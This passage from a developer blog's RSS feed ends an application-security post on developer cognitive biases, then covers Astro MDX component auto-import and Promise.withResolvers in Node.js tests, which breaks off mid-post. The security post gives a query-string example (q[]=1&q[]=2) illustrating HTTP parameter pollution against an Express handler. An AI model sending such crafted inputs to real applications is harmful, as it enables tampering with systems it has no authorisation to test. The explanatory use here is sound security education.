&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/search&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; req.query.q;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;typeof&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; query &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;sanitizedQuery&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; query.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;trim&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// do something with sanitizedQuery&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But now what if the attacker sends in an array as the query parameter? Such as &lt;code&gt;/q[]=1&amp;#x26;q[]2&lt;/code&gt;. The developer didn’t account for that because they haven’t even thought of considering the possibility of an array being passed in as the query parameter. This is a popular attack vector known as HTTP parameter pollution.&lt;/p&gt;
&lt;h2 id=&quot;where-do-we-go-from-here&quot;&gt;Where do we go from here?&lt;/h2&gt;
&lt;p&gt;I would say that being aware of these cognitive biases and how developers may have their own biases is a good start for application security teams and security champions in the organization because it can clarify and provide deeper understanding of why developers may not be as security conscious as they should be. And that’s not something to hold against them. It’s not that developers don’t care about security, there are deeper forces at play that impact their decision making.&lt;/p&gt;
&lt;p&gt;Not sure when we discover about System3 thinking, but for the time being, goodluck with System1 and System2 in application security! ;-)&lt;/p&gt;</content:encoded></item><item><title>Component auto import in Astro framework</title><link>https://lirantal.com/blog/component-auto-import-in-astro-framework/</link><guid>https://lirantal.com/blog/component-auto-import-in-astro-framework/</guid><description>Can Astro automatically import components in markdown files? Yes, it can! Here&apos;s how to do it thanks to Chris Swithinbank and his Astro Auto Import package.</description><pubDate>Fri, 06 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The Astro frontend framework is such a delight to work with but I was missing a feature with regards to islands and framework components that allowed the page data, such as blog posts, to automatically import the components that are used in the markdown file. This is how I solved it.&lt;/p&gt;
&lt;h2 id=&quot;about-mdx-and-astro&quot;&gt;About MDX and Astro&lt;/h2&gt;
&lt;p&gt;Astro is a frontend framework that allows you to build websites, like a personal blog, using a mix of static and dynamic content. It’s a great way to build websites that are fast, optimized for SEO due to the server-side rendering and server-generated pages support, and easy to maintain.&lt;/p&gt;
&lt;p&gt;One of the features of Astro is that it allows you to use MDX files to create pages. MDX is a way to write JSX in markdown files. This allows you to extend the Markdown syntax and use framework components in your markdown files to create rich content. MDX is well-supported in Astro using the &lt;code&gt;@astro/mdx&lt;/code&gt; package and the MDX syntax is built on-top of Markdown so you don’t really need to learn a new syntax and can maintain the frontmatter and markdown syntax that you are already familiar with.&lt;/p&gt;
&lt;p&gt;Her’es an example of MDX files:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Hello, world!&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;date&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;2024-06-06&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;import SomeComponent from &apos;./SomeComponent.jsx&apos;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF; font-style: italic&quot;&gt;# Hello, world!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;SomeComponent prop=&quot;propValue&quot; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;This is a blog post written in MDX, &amp;#x3C;Button name=&quot;Click me&quot; /&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The rendered page will have the &lt;code&gt;SomeComponent&lt;/code&gt; and &lt;code&gt;Button&lt;/code&gt; components rendered in the page content but will not show the &lt;code&gt;import SomeComponent ...&lt;/code&gt; statement. This is because the &lt;code&gt;@astro/mdx&lt;/code&gt; package processes the MDX file and injects the component imports into the page. Of course, don’t forget saving this file with an &lt;code&gt;.mdx&lt;/code&gt; extension: &lt;code&gt;blog-hello-world.mdx&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;auto-import-components-in-astro&quot;&gt;Auto import components in Astro&lt;/h2&gt;
&lt;p&gt;If you search “astro framework component auto import” long enough you’ll land on the community contributed Astro package called &lt;a href=&quot;https://github.com/delucis/astro-auto-import&quot;&gt;astro-auto-import&lt;/a&gt; by the splendid Chris Swithinbank.&lt;/p&gt;
&lt;p&gt;In essence, the &lt;code&gt;astro-auto-import&lt;/code&gt; package reads the component file from the path that you specify in the Astro integration configuration file and then generates the appropriate ESM module tree for it that gets injected into the markdown imports and looks something like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;mdxjsEsm&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        value: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        data: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            estree: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;                body: [],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;                &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;parseJs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(js, { ecmaVersion: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;latest&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, sourceType: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;module&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;                type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Program&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;                sourceType: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;module&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    };&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Benefits of using &lt;code&gt;astro-auto-import&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You can import React, Vue, and other framework components.&lt;/li&gt;
&lt;li&gt;You don’t need to explicitly and manually import the components in the markdown file.&lt;/li&gt;
&lt;li&gt;You can maintain both &lt;code&gt;.md&lt;/code&gt; and &lt;code&gt;.mdx&lt;/code&gt; files side by side in your Astro blog.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Configure the Astro Auto Import integration by adding the following to your &lt;code&gt;astro.config.mjs&lt;/code&gt; file:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// .. other imports&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; AutoImport &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;astro-auto-import&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;defineConfig&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ... other config options&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;integrations: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// The Auto Import configuration here:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;AutoImport&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;			imports: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;./src/components/widgets/BlogCallToAction.vue&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		}),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Make sure that the mdx() integration is *after* the Auto Import integration&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// *AND IMPORTANT* to make sure that the mdx integration doesn&apos;t repeat any prior markdown configured&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// plugins like remarkToc or remarkReadingTime&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;mdx&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	]&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;	&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;	&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;markdown: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		remarkPlugins: [remarkToc, remarkReadingTime],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;		extendDefaultPlugins: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	}&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;})&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The following are especially important to note:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;imports&lt;/code&gt; array in the &lt;code&gt;AutoImport&lt;/code&gt; configuration should contain the path to the components that you want to auto-import in the markdown files.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;mdx()&lt;/code&gt; integration should be placed after the &lt;code&gt;AutoImport&lt;/code&gt; integration in the &lt;code&gt;integrations&lt;/code&gt; array.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;mdx()&lt;/code&gt; integration should not repeat any prior markdown configured plugins like &lt;code&gt;remarkToc&lt;/code&gt; or &lt;code&gt;remarkReadingTime&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you skip the last one and you have some markdown plugins stated in the mdx() integration, you will get an error like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[Vue warn]: Component &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Anonymous&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; is missing template or render function.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[Vue warn]: Component &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Anonymous&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; is missing template or render function.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; error   Could not render &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`[object Module]`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;. No matching import has been found &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`[object Module]`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  Hint:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    Please make sure the component is properly imported.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  Error reference:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or some other Vite error similar to the above which states that it can’t find the component that you are trying to render in the MDX file and the whole page won’t load. Astro will crash.&lt;/p&gt;
&lt;p&gt;Once everything is installed and setup, just use the component in your MDX files without having to declare the import statement:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF; font-style: italic&quot;&gt;# Hello, world!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;SomeComponent prop=&quot;propValue&quot; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;This is a blog post written in MDX, &amp;#x3C;Button name=&quot;Click me&quot; /&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No more manual imports, kind of like using globals in Markdown files 😅 but hey, at least those Markdown files are portable and consistent and won’t have a weird &lt;code&gt;import&lt;/code&gt; looking statement in the beginning of the file when you migrate or import them to a new system next time!&lt;/p&gt;</content:encoded></item><item><title>Using Promise.withResolvers in Node.js Tests</title><link>https://lirantal.com/blog/promise-with-resolvers-in-nodejs-tests/</link><guid>https://lirantal.com/blog/promise-with-resolvers-in-nodejs-tests/</guid><description>This article explores the use of `Promise.withResolvers` in Node.js tests, providing examples and refactoring techniques to handle nested tests and signal their completion effectively. It also discusses the limitations of the `Promise.withResolvers` API in different Node.js versions.</description><pubDate>Fri, 30 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you often encounter scenarios where managing asynchronous operations efficiently is crucial but you’re left wondering how exactly to do so (someone said event emitter? callback patterns??) then there’s good news and it’s called &lt;code&gt;Promise.withResolvers&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;One such scenario is running nested tests that have asynchronous code in Node.js and I want to visit that in this article. I’ll show you different ways to use the &lt;code&gt;Promise.withResolvers&lt;/code&gt; API, a cool new JavaScript way introduced in Node.js v22.0.0, which simplifies the handling of nested tests by providing a more elegant way to signal their completion.&lt;/p&gt;
&lt;h2 id=&quot;use-case-promisewithresolvers-in-tests&quot;&gt;Use case: Promise.withResolvers in Tests&lt;/h2&gt;
&lt;p&gt;Another use-case for &lt;code&gt;Promise.withResolvers&lt;/code&gt; is in tests. Here’s an example from the Node.js core tests when tests are nested and you want to signal the end of all tests:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { test } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node:test&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;foo&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  t.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;bar&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    t.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;plan&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    t.assert.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  t.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the above example, &lt;code&gt;t.end()&lt;/code&gt; is used to signal the end of the test. HOWEVER, if you ran that code it wouldn’t work. Why? there’s no &lt;code&gt;t.end()&lt;/code&gt; in the native Node.js test runner, so that code snippet above is really just a pseudo-code example.&lt;/p&gt;
&lt;p&gt;How would you do it instead? probably something like this:&lt;/p&gt;
